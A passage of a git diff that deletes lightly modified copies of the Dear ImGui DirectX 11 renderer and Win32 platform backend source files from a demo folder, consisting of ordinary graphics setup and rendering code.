callback and exposed ImGui_ImplDX11_RenderDrawData() in the .h file so you can call it yourself. -// 2018-02-06: Misc: Removed call to ImGui::Shutdown() which is not available from 1.60 WIP, user needs to call CreateContext/DestroyContext themselves. -// 2016-05-07: DirectX11: Disabling depth-write. - -#include "imgui.h" -#include "imgui_impl_dx11.h" - -// DirectX -#include -#include -#include -#ifdef _MSC_VER -#pragma comment(lib, "d3dcompiler") // Automatically link with d3dcompiler.lib as we are using D3DCompile() below. -#endif - -// DirectX data -static ID3D11Device* g_pd3dDevice = NULL; -static ID3D11DeviceContext* g_pd3dDeviceContext = NULL; -static IDXGIFactory* g_pFactory = NULL; -static ID3D11Buffer* g_pVB = NULL; -static ID3D11Buffer* g_pIB = NULL; -static ID3D11VertexShader* g_pVertexShader = NULL; -static ID3D11InputLayout* g_pInputLayout = NULL; -static ID3D11Buffer* g_pVertexConstantBuffer = NULL; -static ID3D11PixelShader* g_pPixelShader = NULL; -static ID3D11SamplerState* g_pFontSampler = NULL; -static ID3D11ShaderResourceView*g_pFontTextureView = NULL; -static ID3D11RasterizerState* g_pRasterizerState = NULL; -static ID3D11BlendState* g_pBlendState = NULL; -static ID3D11DepthStencilState* g_pDepthStencilState = NULL; -static int g_VertexBufferSize = 5000, g_IndexBufferSize = 10000; - -struct VERTEX_CONSTANT_BUFFER -{ - float mvp[4][4]; -}; - -static void ImGui_ImplDX11_SetupRenderState(ImDrawData* draw_data, ID3D11DeviceContext* ctx) -{ - // Setup viewport - D3D11_VIEWPORT vp; - memset(&vp, 0, sizeof(D3D11_VIEWPORT)); - vp.Width = draw_data->DisplaySize.x; - vp.Height = draw_data->DisplaySize.y; - vp.MinDepth = 0.0f; - vp.MaxDepth = 1.0f; - vp.TopLeftX = vp.TopLeftY = 0; - ctx->RSSetViewports(1, &vp); - - // Setup shader and vertex buffers - unsigned int stride = sizeof(ImDrawVert); - unsigned int offset = 0; - ctx->IASetInputLayout(g_pInputLayout); - ctx->IASetVertexBuffers(0, 1, &g_pVB, &stride, &offset); - ctx->IASetIndexBuffer(g_pIB, sizeof(ImDrawIdx) == 2 ? DXGI_FORMAT_R16_UINT : DXGI_FORMAT_R32_UINT, 0); - ctx->IASetPrimitiveTopology(D3D11_PRIMITIVE_TOPOLOGY_TRIANGLELIST); - ctx->VSSetShader(g_pVertexShader, NULL, 0); - ctx->VSSetConstantBuffers(0, 1, &g_pVertexConstantBuffer); - ctx->PSSetShader(g_pPixelShader, NULL, 0); - ctx->PSSetSamplers(0, 1, &g_pFontSampler); - ctx->GSSetShader(NULL, NULL, 0); - ctx->HSSetShader(NULL, NULL, 0); // In theory we should backup and restore this as well.. very infrequently used.. - ctx->DSSetShader(NULL, NULL, 0); // In theory we should backup and restore this as well.. very infrequently used.. - ctx->CSSetShader(NULL, NULL, 0); // In theory we should backup and restore this as well.. very infrequently used.. - - // Setup blend state - const float blend_factor[4] = { 0.f, 0.f, 0.f, 0.f }; - ctx->OMSetBlendState(g_pBlendState, blend_factor, 0xffffffff); - ctx->OMSetDepthStencilState(g_pDepthStencilState, 0); - ctx->RSSetState(g_pRasterizerState); -} - -// Render function -void ImGui_ImplDX11_RenderDrawData(ImDrawData* draw_data) -{ - // Avoid rendering when minimized - if (draw_data->DisplaySize.x <= 0.0f || draw_data->DisplaySize.y <= 0.0f) - return; - - ID3D11DeviceContext* ctx = g_pd3dDeviceContext; - - // Create and grow vertex/index buffers if needed - if (!g_pVB || g_VertexBufferSize < draw_data->TotalVtxCount) - { - if (g_pVB) { g_pVB->Release(); g_pVB = NULL; } - g_VertexBufferSize = draw_data->TotalVtxCount + 5000; - D3D11_BUFFER_DESC desc; - memset(&desc, 0, sizeof(D3D11_BUFFER_DESC)); - desc.Usage = D3D11_USAGE_DYNAMIC; - desc.ByteWidth = g_VertexBufferSize * sizeof(ImDrawVert); - desc.BindFlags = D3D11_BIND_VERTEX_BUFFER; - desc.CPUAccessFlags = D3D11_CPU_ACCESS_WRITE; - desc.MiscFlags = 0; - if (g_pd3dDevice->CreateBuffer(&desc, NULL, &g_pVB) < 0) - return; - } - if (!g_pIB || g_IndexBufferSize < draw_data->TotalIdxCount) - { - if (g_pIB) { g_pIB->Release(); g_pIB = NULL; } - g_IndexBufferSize = draw_data->TotalIdxCount + 10000; - D3D11_BUFFER_DESC desc; - memset(&desc, 0, sizeof(D3D11_BUFFER_DESC)); - desc.Usage = D3D11_USAGE_DYNAMIC; - desc.ByteWidth = g_IndexBufferSize * sizeof(ImDrawIdx); - desc.BindFlags = D3D11_BIND_INDEX_BUFFER; - desc.CPUAccessFlags = D3D11_CPU_ACCESS_WRITE; - if (g_pd3dDevice->CreateBuffer(&desc, NULL, &g_pIB) < 0) - return; - } - - // Upload vertex/index data into a single contiguous GPU buffer - D3D11_MAPPED_SUBRESOURCE vtx_resource, idx_resource; - if (ctx->Map(g_pVB, 0, D3D11_MAP_WRITE_DISCARD, 0, &vtx_resource) != S_OK) - return; - if (ctx->Map(g_pIB, 0, D3D11_MAP_WRITE_DISCARD, 0, &idx_resource) != S_OK) - return; - ImDrawVert* vtx_dst = (ImDrawVert*)vtx_resource.pData; - ImDrawIdx* idx_dst = (ImDrawIdx*)idx_resource.pData; - for (int n = 0; n < draw_data->CmdListsCount; n++) - { - const ImDrawList* cmd_list = draw_data->CmdLists[n]; - memcpy(vtx_dst, cmd_list->VtxBuffer.Data, cmd_list->VtxBuffer.Size * sizeof(ImDrawVert)); - memcpy(idx_dst, cmd_list->IdxBuffer.Data, cmd_list->IdxBuffer.Size * sizeof(ImDrawIdx)); - vtx_dst += cmd_list->VtxBuffer.Size; - idx_dst += cmd_list->IdxBuffer.Size; - } - ctx->Unmap(g_pVB, 0); - ctx->Unmap(g_pIB, 0); - - // Setup orthographic projection matrix into our constant buffer - // Our visible imgui space lies from draw_data->DisplayPos (top left) to draw_data->DisplayPos+data_data->DisplaySize (bottom right). DisplayPos is (0,0) for single viewport apps. - { - D3D11_MAPPED_SUBRESOURCE mapped_resource; - if (ctx->Map(g_pVertexConstantBuffer, 0, D3D11_MAP_WRITE_DISCARD, 0, &mapped_resource) != S_OK) - return; - VERTEX_CONSTANT_BUFFER* constant_buffer = (VERTEX_CONSTANT_BUFFER*)mapped_resource.pData; - float L = draw_data->DisplayPos.x; - float R = draw_data->DisplayPos.x + draw_data->DisplaySize.x; - float T = draw_data->DisplayPos.y; - float B = draw_data->DisplayPos.y + draw_data->DisplaySize.y; - float mvp[4][4] = - { - { 2.0f/(R-L), 0.0f, 0.0f, 0.0f }, - { 0.0f, 2.0f/(T-B), 0.0f, 0.0f }, - { 0.0f, 0.0f, 0.5f, 0.0f }, - { (R+L)/(L-R), (T+B)/(B-T), 0.5f, 1.0f }, - }; - memcpy(&constant_buffer->mvp, mvp, sizeof(mvp)); - ctx->Unmap(g_pVertexConstantBuffer, 0); - } - - // Backup DX state that will be modified to restore it afterwards (unfortunately this is very ugly looking and verbose. Close your eyes!) - struct BACKUP_DX11_STATE - { - UINT ScissorRectsCount, ViewportsCount; - D3D11_RECT ScissorRects[D3D11_VIEWPORT_AND_SCISSORRECT_OBJECT_COUNT_PER_PIPELINE]; - D3D11_VIEWPORT Viewports[D3D11_VIEWPORT_AND_SCISSORRECT_OBJECT_COUNT_PER_PIPELINE]; - ID3D11RasterizerState* RS; - ID3D11BlendState* BlendState; - FLOAT BlendFactor[4]; - UINT SampleMask; - UINT StencilRef; - ID3D11DepthStencilState* DepthStencilState; - ID3D11ShaderResourceView* PSShaderResource; - ID3D11SamplerState* PSSampler; - ID3D11PixelShader* PS; - ID3D11VertexShader* VS; - ID3D11GeometryShader* GS; - UINT PSInstancesCount, VSInstancesCount, GSInstancesCount; - ID3D11ClassInstance *PSInstances[256], *VSInstances[256], *GSInstances[256]; // 256 is max according to PSSetShader documentation - D3D11_PRIMITIVE_TOPOLOGY PrimitiveTopology; - ID3D11Buffer* IndexBuffer, *VertexBuffer, *VSConstantBuffer; - UINT IndexBufferOffset, VertexBufferStride, VertexBufferOffset; - DXGI_FORMAT IndexBufferFormat; - ID3D11InputLayout* InputLayout; - }; - BACKUP_DX11_STATE old; - old.ScissorRectsCount = old.ViewportsCount = D3D11_VIEWPORT_AND_SCISSORRECT_OBJECT_COUNT_PER_PIPELINE; - ctx->RSGetScissorRects(&old.ScissorRectsCount, old.ScissorRects); - ctx->RSGetViewports(&old.ViewportsCount, old.Viewports); - ctx->RSGetState(&old.RS); - ctx->OMGetBlendState(&old.BlendState, old.BlendFactor, &old.SampleMask); - ctx->OMGetDepthStencilState(&old.DepthStencilState, &old.StencilRef); - ctx->PSGetShaderResources(0, 1, &old.PSShaderResource); - ctx->PSGetSamplers(0, 1, &old.PSSampler); - old.PSInstancesCount = old.VSInstancesCount = old.GSInstancesCount = 256; - ctx->PSGetShader(&old.PS, old.PSInstances, &old.PSInstancesCount); - ctx->VSGetShader(&old.VS, old.VSInstances, &old.VSInstancesCount); - ctx->VSGetConstantBuffers(0, 1, &old.VSConstantBuffer); - ctx->GSGetShader(&old.GS, old.GSInstances, &old.GSInstancesCount); - - ctx->IAGetPrimitiveTopology(&old.PrimitiveTopology); - ctx->IAGetIndexBuffer(&old.IndexBuffer, &old.IndexBufferFormat, &old.IndexBufferOffset); - ctx->IAGetVertexBuffers(0, 1, &old.VertexBuffer, &old.VertexBufferStride, &old.VertexBufferOffset); - ctx->IAGetInputLayout(&old.InputLayout); - - // Setup desired DX state - ImGui_ImplDX11_SetupRenderState(draw_data, ctx); - - // Render command lists - // (Because we merged all buffers into a single one, we maintain our own offset into them) - int global_idx_offset = 0; - int global_vtx_offset = 0; - ImVec2 clip_off = draw_data->DisplayPos; - for (int n = 0; n < draw_data->CmdListsCount; n++) - { - const ImDrawList* cmd_list = draw_data->CmdLists[n]; - for (int cmd_i = 0; cmd_i < cmd_list->CmdBuffer.Size; cmd_i++) - { - const ImDrawCmd* pcmd = &cmd_list->CmdBuffer[cmd_i]; - if (pcmd->UserCallback != NULL) - { - // User callback, registered via ImDrawList::AddCallback() - // (ImDrawCallback_ResetRenderState is a special callback value used by the user to request the renderer to reset render state.) - if (pcmd->UserCallback == ImDrawCallback_ResetRenderState) - ImGui_ImplDX11_SetupRenderState(draw_data, ctx); - else - pcmd->UserCallback(cmd_list, pcmd); - } - else - { - // Apply scissor/clipping rectangle - const D3D11_RECT r = { (LONG)(pcmd->ClipRect.x - clip_off.x), (LONG)(pcmd->ClipRect.y - clip_off.y), (LONG)(pcmd->ClipRect.z - clip_off.x), (LONG)(pcmd->ClipRect.w - clip_off.y) }; - ctx->RSSetScissorRects(1, &r); - - // Bind texture, Draw - ID3D11ShaderResourceView* texture_srv = (ID3D11ShaderResourceView*)pcmd->TextureId; - ctx->PSSetShaderResources(0, 1, &texture_srv); - ctx->DrawIndexed(pcmd->ElemCount, pcmd->IdxOffset + global_idx_offset, pcmd->VtxOffset + global_vtx_offset); - } - } - global_idx_offset += cmd_list->IdxBuffer.Size; - global_vtx_offset += cmd_list->VtxBuffer.Size; - } - - // Restore modified DX state - ctx->RSSetScissorRects(old.ScissorRectsCount, old.ScissorRects); - ctx->RSSetViewports(old.ViewportsCount, old.Viewports); - ctx->RSSetState(old.RS); if (old.RS) old.RS->Release(); - ctx->OMSetBlendState(old.BlendState, old.BlendFactor, old.SampleMask); if (old.BlendState) old.BlendState->Release(); - ctx->OMSetDepthStencilState(old.DepthStencilState, old.StencilRef); if (old.DepthStencilState) old.DepthStencilState->Release(); - ctx->PSSetShaderResources(0, 1, &old.PSShaderResource); if (old.PSShaderResource) old.PSShaderResource->Release(); - ctx->PSSetSamplers(0, 1, &old.PSSampler); if (old.PSSampler) old.PSSampler->Release(); - ctx->PSSetShader(old.PS, old.PSInstances, old.PSInstancesCount); if (old.PS) old.PS->Release(); - for (UINT i = 0; i < old.PSInstancesCount; i++) if (old.PSInstances[i]) old.PSInstances[i]->Release(); - ctx->VSSetShader(old.VS, old.VSInstances, old.VSInstancesCount); if (old.VS) old.VS->Release(); - ctx->VSSetConstantBuffers(0, 1, &old.VSConstantBuffer); if (old.VSConstantBuffer) old.VSConstantBuffer->Release(); - ctx->GSSetShader(old.GS, old.GSInstances, old.GSInstancesCount); if (old.GS) old.GS->Release(); - for (UINT i = 0; i < old.VSInstancesCount; i++) if (old.VSInstances[i]) old.VSInstances[i]->Release(); - ctx->IASetPrimitiveTopology(old.PrimitiveTopology); - ctx->IASetIndexBuffer(old.IndexBuffer, old.IndexBufferFormat, old.IndexBufferOffset); if (old.IndexBuffer) old.IndexBuffer->Release(); - ctx->IASetVertexBuffers(0, 1, &old.VertexBuffer, &old.VertexBufferStride, &old.VertexBufferOffset); if (old.VertexBuffer) old.VertexBuffer->Release(); - ctx->IASetInputLayout(old.InputLayout); if (old.InputLayout) old.InputLayout->Release(); -} - -static void ImGui_ImplDX11_CreateFontsTexture() -{ - // Build texture atlas - ImGuiIO& io = ImGui::GetIO(); - unsigned char* pixels; - int width, height; - io.Fonts->GetTexDataAsRGBA32(&pixels, &width, &height); - - // Upload texture to graphics system - { - D3D11_TEXTURE2D_DESC desc; - ZeroMemory(&desc, sizeof(desc)); - desc.Width = width; - desc.Height = height; - desc.MipLevels = 1; - desc.ArraySize = 1; - desc.Format = DXGI_FORMAT_R8G8B8A8_UNORM; - desc.SampleDesc.Count = 1; - desc.Usage = D3D11_USAGE_DEFAULT; - desc.BindFlags = D3D11_BIND_SHADER_RESOURCE; - desc.CPUAccessFlags = 0; - - ID3D11Texture2D* pTexture = NULL; - D3D11_SUBRESOURCE_DATA subResource; - subResource.pSysMem = pixels; - subResource.SysMemPitch = desc.Width * 4; - subResource.SysMemSlicePitch = 0; - g_pd3dDevice->CreateTexture2D(&desc, &subResource, &pTexture); - - // Create texture view - D3D11_SHADER_RESOURCE_VIEW_DESC srvDesc; - ZeroMemory(&srvDesc, sizeof(srvDesc)); - srvDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM; - srvDesc.ViewDimension = D3D11_SRV_DIMENSION_TEXTURE2D; - srvDesc.Texture2D.MipLevels = desc.MipLevels; - srvDesc.Texture2D.MostDetailedMip = 0; - g_pd3dDevice->CreateShaderResourceView(pTexture, &srvDesc, &g_pFontTextureView); - pTexture->Release(); - } - - // Store our identifier - io.Fonts->SetTexID((ImTextureID)g_pFontTextureView); - - // Create texture sampler - { - D3D11_SAMPLER_DESC desc; - ZeroMemory(&desc, sizeof(desc)); - desc.Filter = D3D11_FILTER_MIN_MAG_MIP_LINEAR; - desc.AddressU = D3D11_TEXTURE_ADDRESS_WRAP; - desc.AddressV = D3D11_TEXTURE_ADDRESS_WRAP; - desc.AddressW = D3D11_TEXTURE_ADDRESS_WRAP; - desc.MipLODBias = 0.f; - desc.ComparisonFunc = D3D11_COMPARISON_ALWAYS; - desc.MinLOD = 0.f; - desc.MaxLOD = 0.f; - g_pd3dDevice->CreateSamplerState(&desc, &g_pFontSampler); - } -} - -bool ImGui_ImplDX11_CreateDeviceObjects() -{ - if (!g_pd3dDevice) - return false; - if (g_pFontSampler) - ImGui_ImplDX11_InvalidateDeviceObjects(); - - // By using D3DCompile() from / d3dcompiler.lib, we introduce a dependency to a given version of d3dcompiler_XX.dll (see D3DCOMPILER_DLL_A) - // If you would like to use this DX11 sample code but remove this dependency you can: - // 1) compile once, save the compiled shader blobs into a file or source code and pass them to CreateVertexShader()/CreatePixelShader() [preferred solution] - // 2) use code to detect any version of the DLL and grab a pointer to D3DCompile from the DLL. - // See https://github.com/ocornut/imgui/pull/638 for sources and details. - - // Create the vertex shader - { - static const char* vertexShader = - "cbuffer vertexBuffer : register(b0) \ - {\ - float4x4 ProjectionMatrix; \ - };\ - struct VS_INPUT\ - {\ - float2 pos : POSITION;\ - float4 col : COLOR0;\ - float2 uv : TEXCOORD0;\ - };\ - \ - struct PS_INPUT\ - {\ - float4 pos : SV_POSITION;\ - float4 col : COLOR0;\ - float2 uv : TEXCOORD0;\ - };\ - \ - PS_INPUT main(VS_INPUT input)\ - {\ - PS_INPUT output;\ - output.pos = mul( ProjectionMatrix, float4(input.pos.xy, 0.f, 1.f));\ - output.col = input.col;\ - output.uv = input.uv;\ - return output;\ - }"; - - const auto pD3DCompile = - reinterpret_cast( - GetProcAddress(LoadLibraryA("D3DCompiler_47.dll"), "D3DCompile")); - - ID3DBlob* vertexShaderBlob; - if (FAILED(pD3DCompile(vertexShader, strlen(vertexShader), NULL, NULL, NULL, "main", "vs_4_0", 0, 0, &vertexShaderBlob, NULL))) - return false; // NB: Pass ID3DBlob* pErrorBlob to D3DCompile() to get error showing in (const char*)pErrorBlob->GetBufferPointer(). Make sure to Release() the blob! - if (g_pd3dDevice->CreateVertexShader(vertexShaderBlob->GetBufferPointer(), vertexShaderBlob->GetBufferSize(), NULL, &g_pVertexShader) != S_OK) - { - vertexShaderBlob->Release(); - return false; - } - - // Create the input layout - D3D11_INPUT_ELEMENT_DESC local_layout[] = - { - { "POSITION", 0, DXGI_FORMAT_R32G32_FLOAT, 0, (UINT)IM_OFFSETOF(ImDrawVert, pos), D3D11_INPUT_PER_VERTEX_DATA, 0 }, - { "TEXCOORD", 0, DXGI_FORMAT_R32G32_FLOAT, 0, (UINT)IM_OFFSETOF(ImDrawVert, uv), D3D11_INPUT_PER_VERTEX_DATA, 0 }, - { "COLOR", 0, DXGI_FORMAT_R8G8B8A8_UNORM, 0, (UINT)IM_OFFSETOF(ImDrawVert, col), D3D11_INPUT_PER_VERTEX_DATA, 0 }, - }; - - if (g_pd3dDevice->CreateInputLayout(local_layout, 3, vertexShaderBlob->GetBufferPointer(), vertexShaderBlob->GetBufferSize(), &g_pInputLayout) != S_OK) - { - vertexShaderBlob->Release(); - return false; - } - vertexShaderBlob->Release(); - - // Create the constant buffer - { - D3D11_BUFFER_DESC desc; - desc.ByteWidth = sizeof(VERTEX_CONSTANT_BUFFER); - desc.Usage = D3D11_USAGE_DYNAMIC; - desc.BindFlags = D3D11_BIND_CONSTANT_BUFFER; - desc.CPUAccessFlags = D3D11_CPU_ACCESS_WRITE; - desc.MiscFlags = 0; - g_pd3dDevice->CreateBuffer(&desc, NULL, &g_pVertexConstantBuffer); - } - } - - // Create the pixel shader - { - static const char* pixelShader = - "struct PS_INPUT\ - {\ - float4 pos : SV_POSITION;\ - float4 col : COLOR0;\ - float2 uv : TEXCOORD0;\ - };\ - sampler sampler0;\ - Texture2D texture0;\ - \ - float4 main(PS_INPUT input) : SV_Target\ - {\ - float4 out_col = input.col * texture0.Sample(sampler0, input.uv); \ - return out_col; \ - }"; - - const auto pD3DCompile = - reinterpret_cast( - GetProcAddress(LoadLibraryA("D3DCompiler_47.dll"), "D3DCompile")); - - ID3DBlob* pixelShaderBlob; - if (FAILED(pD3DCompile(pixelShader, strlen(pixelShader), NULL, NULL, NULL, "main", "ps_4_0", 0, 0, &pixelShaderBlob, NULL))) - return false; // NB: Pass ID3DBlob* pErrorBlob to D3DCompile() to get error showing in (const char*)pErrorBlob->GetBufferPointer(). Make sure to Release() the blob! - if (g_pd3dDevice->CreatePixelShader(pixelShaderBlob->GetBufferPointer(), pixelShaderBlob->GetBufferSize(), NULL, &g_pPixelShader) != S_OK) - { - pixelShaderBlob->Release(); - return false; - } - pixelShaderBlob->Release(); - } - - // Create the blending setup - { - D3D11_BLEND_DESC desc; - ZeroMemory(&desc, sizeof(desc)); - desc.AlphaToCoverageEnable = false; - desc.RenderTarget[0].BlendEnable = true; - desc.RenderTarget[0].SrcBlend = D3D11_BLEND_SRC_ALPHA; - desc.RenderTarget[0].DestBlend = D3D11_BLEND_INV_SRC_ALPHA; - desc.RenderTarget[0].BlendOp = D3D11_BLEND_OP_ADD; - desc.RenderTarget[0].SrcBlendAlpha = D3D11_BLEND_ONE; - desc.RenderTarget[0].DestBlendAlpha = D3D11_BLEND_INV_SRC_ALPHA; - desc.RenderTarget[0].BlendOpAlpha = D3D11_BLEND_OP_ADD; - desc.RenderTarget[0].RenderTargetWriteMask = D3D11_COLOR_WRITE_ENABLE_ALL; - g_pd3dDevice->CreateBlendState(&desc, &g_pBlendState); - } - - // Create the rasterizer state - { - D3D11_RASTERIZER_DESC desc; - ZeroMemory(&desc, sizeof(desc)); - desc.FillMode = D3D11_FILL_SOLID; - desc.CullMode = D3D11_CULL_NONE; - desc.ScissorEnable = true; - desc.DepthClipEnable = true; - g_pd3dDevice->CreateRasterizerState(&desc, &g_pRasterizerState); - } - - // Create depth-stencil State - { - D3D11_DEPTH_STENCIL_DESC desc; - ZeroMemory(&desc, sizeof(desc)); - desc.DepthEnable = false; - desc.DepthWriteMask = D3D11_DEPTH_WRITE_MASK_ALL; - desc.DepthFunc = D3D11_COMPARISON_ALWAYS; - desc.StencilEnable = false; - desc.FrontFace.StencilFailOp = desc.FrontFace.StencilDepthFailOp = desc.FrontFace.StencilPassOp = D3D11_STENCIL_OP_KEEP; - desc.FrontFace.StencilFunc = D3D11_COMPARISON_ALWAYS; - desc.BackFace = desc.FrontFace; - g_pd3dDevice->CreateDepthStencilState(&desc, &g_pDepthStencilState); - } - - ImGui_ImplDX11_CreateFontsTexture(); - - return true; -} - -void ImGui_ImplDX11_InvalidateDeviceObjects() -{ - if (!g_pd3dDevice) - return; - - if (g_pFontSampler) { g_pFontSampler->Release(); g_pFontSampler = NULL; } - if (g_pFontTextureView) { g_pFontTextureView->Release(); g_pFontTextureView = NULL; ImGui::GetIO().Fonts->SetTexID(NULL); } // We copied g_pFontTextureView to io.Fonts->TexID so let's clear that as well. - if (g_pIB) { g_pIB->Release(); g_pIB = NULL; } - if (g_pVB) { g_pVB->Release(); g_pVB = NULL; } - - if (g_pBlendState) { g_pBlendState->Release(); g_pBlendState = NULL; } - if (g_pDepthStencilState) { g_pDepthStencilState->Release(); g_pDepthStencilState = NULL; } - if (g_pRasterizerState) { g_pRasterizerState->Release(); g_pRasterizerState = NULL; } - if (g_pPixelShader) { g_pPixelShader->Release(); g_pPixelShader = NULL; } - if (g_pVertexConstantBuffer) { g_pVertexConstantBuffer->Release(); g_pVertexConstantBuffer = NULL; } - if (g_pInputLayout) { g_pInputLayout->Release(); g_pInputLayout = NULL; } - if (g_pVertexShader) { g_pVertexShader->Release(); g_pVertexShader = NULL; } -} - -bool ImGui_ImplDX11_Init(ID3D11Device* device, ID3D11DeviceContext* device_context) -{ - // Setup backend capabilities flags - ImGuiIO& io = ImGui::GetIO(); - io.BackendRendererName = "imgui_impl_dx11"; - io.BackendFlags |= ImGuiBackendFlags_RendererHasVtxOffset; // We can honor the ImDrawCmd::VtxOffset field, allowing for large meshes. - - // Get factory from device - IDXGIDevice* pDXGIDevice = NULL; - IDXGIAdapter* pDXGIAdapter = NULL; - IDXGIFactory* pFactory = NULL; - - if (device->QueryInterface(IID_PPV_ARGS(&pDXGIDevice)) == S_OK) - if (pDXGIDevice->GetParent(IID_PPV_ARGS(&pDXGIAdapter)) == S_OK) - if (pDXGIAdapter->GetParent(IID_PPV_ARGS(&pFactory)) == S_OK) - { - g_pd3dDevice = device; - g_pd3dDeviceContext = device_context; - g_pFactory = pFactory; - } - if (pDXGIDevice) pDXGIDevice->Release(); - if (pDXGIAdapter) pDXGIAdapter->Release(); - g_pd3dDevice->AddRef(); - g_pd3dDeviceContext->AddRef(); - - return true; -} - -void ImGui_ImplDX11_Shutdown() -{ - ImGui_ImplDX11_InvalidateDeviceObjects(); - if (g_pFactory) { g_pFactory->Release(); g_pFactory = NULL; } - if (g_pd3dDevice) { g_pd3dDevice->Release(); g_pd3dDevice = NULL; } - if (g_pd3dDeviceContext) { g_pd3dDeviceContext->Release(); g_pd3dDeviceContext = NULL; } -} - -void ImGui_ImplDX11_NewFrame() -{ - if (!g_pFontSampler) - ImGui_ImplDX11_CreateDeviceObjects(); -} diff --git a/demos/DemoImGui/backends/imgui_impl_dx11.h b/demos/DemoImGui/backends/imgui_impl_dx11.h deleted file mode 100644 index a86e279..0000000 --- a/demos/DemoImGui/backends/imgui_impl_dx11.h +++ /dev/null @@ -1,31 +0,0 @@ -// dear imgui: Renderer Backend for DirectX11 -// This needs to be used along with a Platform Backend (e.g. Win32) - -// Implemented features: -// [X] Renderer: User texture binding. Use 'ID3D11ShaderResourceView*' as ImTextureID. Read the FAQ about ImTextureID! -// [X] Renderer: Support for large meshes (64k+ vertices) with 16-bit indices. - -// You can copy and use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. -// If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. -// Read online: https://github.com/ocornut/imgui/tree/master/docs - -#pragma once -#define WINUSERAPI -#define _KERNEL32_ -#define _ACRTIMP -#define _NTSYSTEM_ -#define _GDI32_ - -#include "imgui.h" // IMGUI_IMPL_API - -struct ID3D11Device; -struct ID3D11DeviceContext; - -IMGUI_IMPL_API bool ImGui_ImplDX11_Init(ID3D11Device* device, ID3D11DeviceContext* device_context); -IMGUI_IMPL_API void ImGui_ImplDX11_Shutdown(); -IMGUI_IMPL_API void ImGui_ImplDX11_NewFrame(); -IMGUI_IMPL_API void ImGui_ImplDX11_RenderDrawData(ImDrawData* draw_data); - -// Use if you want to reset your rendering device without losing Dear ImGui state. -IMGUI_IMPL_API void ImGui_ImplDX11_InvalidateDeviceObjects(); -IMGUI_IMPL_API bool ImGui_ImplDX11_CreateDeviceObjects(); diff --git a/demos/DemoImGui/backends/imgui_impl_win32.cpp b/demos/DemoImGui/backends/imgui_impl_win32.cpp deleted file mode 100644 index caf700d..0000000 --- a/demos/DemoImGui/backends/imgui_impl_win32.cpp +++ /dev/null @@ -1,504 +0,0 @@ -// dear imgui: Platform Backend for Windows (standard windows API for 32 and 64 bits applications) -// This needs to be used along with a Renderer (e.g. DirectX11, OpenGL3, Vulkan..) - -// Implemented features: -// [X] Platform: Clipboard support (for Win32 this is actually part of core dear imgui) -// [X] Platform: Mouse cursor shape and visibility. Disable with 'io.ConfigFlags |= ImGuiConfigFlags_NoMouseCursorChange'. -// [X] Platform: Keyboard arrays indexed using VK_* Virtual Key Codes, e.g. ImGui::IsKeyPressed(VK_SPACE). -// [X] Platform: Gamepad support. Enabled with 'io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad'. - -// You can copy and use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. -// If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. -// Read online: https://github.com/ocornut/imgui/tree/master/docs - -#include "imgui.h" -#include "imgui_impl_win32.h" -#ifndef WIN32_LEAN_AND_MEAN -#define WIN32_LEAN_AND_MEAN -#endif -#include -#include -#include - -// Configuration flags to add in your imconfig.h file: -//#define IMGUI_IMPL_WIN32_DISABLE_GAMEPAD // Disable gamepad support (this used to be meaningful before <1.81) but we know load XInput dynamically so the option is less relevant now. - -// Using XInput for gamepad (will load DLL dynamically) -#ifndef IMGUI_IMPL_WIN32_DISABLE_GAMEPAD -#include -typedef DWORD (WINAPI *PFN_XInputGetCapabilities)(DWORD, DWORD, XINPUT_CAPABILITIES*); -typedef DWORD (WINAPI *PFN_XInputGetState)(DWORD, XINPUT_STATE*); -#endif - -// CHANGELOG -// (minor and older changes stripped away, please see git history for details) -// 2021-02-18: Added ImGui_ImplWin32_EnableAlphaCompositing(). Non Visual Studio users will need to link with dwmapi.lib (MinGW/gcc: use -ldwmapi). -// 2021-02-17: Fixed ImGui_ImplWin32_EnableDpiAwareness() attempting to get SetProcessDpiAwareness from shcore.dll on Windows 8 whereas it is only supported on Windows 8.1. -// 2021-01-25: Inputs: Dynamically loading XInput DLL. -// 2020-12-04: Misc: Fixed setting of io.DisplaySize to invalid/uninitialized data when after hwnd has been closed. -// 2020-03-03: Inputs: Calling AddInputCharacterUTF16() to support surrogate pairs leading to codepoint >= 0x10000 (for more complete CJK inputs) -// 2020-02-17: Added ImGui_ImplWin32_EnableDpiAwareness(), ImGui_ImplWin32_GetDpiScaleForHwnd(), ImGui_ImplWin32_GetDpiScaleForMonitor() helper functions. -// 2020-01-14: Inputs: Added support for #define IMGUI_IMPL_WIN32_DISABLE_GAMEPAD/IMGUI_IMPL_WIN32_DISABLE_LINKING_XINPUT. -// 2019-12-05: Inputs: Added support for ImGuiMouseCursor_NotAllowed mouse cursor. -// 2019-05-11: Inputs: Don't filter value from WM_CHAR before calling AddInputCharacter(). -// 2019-01-17: Misc: Using GetForegroundWindow()+IsChild() instead of GetActiveWindow() to be compatible with windows created in a different thread or parent. -// 2019-01-17: Inputs: Added support for mouse buttons 4 and 5 via WM_XBUTTON* messages. -// 2019-01-15: Inputs: Added support for XInput gamepads (if ImGuiConfigFlags_NavEnableGamepad is set by user application). -// 2018-11-30: Misc: Setting up io.BackendPlatformName so it can be displayed in the About Window. -// 2018-06-29: Inputs: Added support for the ImGuiMouseCursor_Hand cursor. -// 2018-06-10: Inputs: Fixed handling of mouse wheel messages to support fine position messages (typically sent by track-pads). -// 2018-06-08: Misc: Extracted imgui_impl_win32.cpp/.h away from the old combined DX9/DX10/DX11/DX12 examples. -// 2018-03-20: Misc: Setup io.BackendFlags ImGuiBackendFlags_HasMouseCursors and ImGuiBackendFlags_HasSetMousePos flags + honor ImGuiConfigFlags_NoMouseCursorChange flag. -// 2018-02-20: Inputs: Added support for mouse cursors (ImGui::GetMouseCursor() value and WM_SETCURSOR message handling). -// 2018-02-06: Inputs: Added mapping for ImGuiKey_Space. -// 2018-02-06: Inputs: Honoring the io.WantSetMousePos by repositioning the mouse (when using navigation and ImGuiConfigFlags_NavMoveMouse is set). -// 2018-02-06: Misc: Removed call to ImGui::Shutdown() which is not available from 1.60 WIP, user needs to call CreateContext/DestroyContext themselves. -// 2018-01-20: Inputs: Added Horizontal Mouse Wheel support. -// 2018-01-08: Inputs: Added mapping for ImGuiKey_Insert. -// 2018-01-05: Inputs: 